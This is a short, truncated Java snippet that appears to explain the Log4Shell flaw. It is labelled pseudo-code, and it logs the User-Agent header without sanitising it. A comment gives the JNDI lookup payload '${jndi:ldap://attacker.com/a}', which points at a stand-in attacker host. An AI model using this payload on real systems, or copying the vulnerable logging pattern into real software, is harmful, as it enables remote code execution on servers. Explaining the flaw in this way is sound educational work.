import org.apache.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "
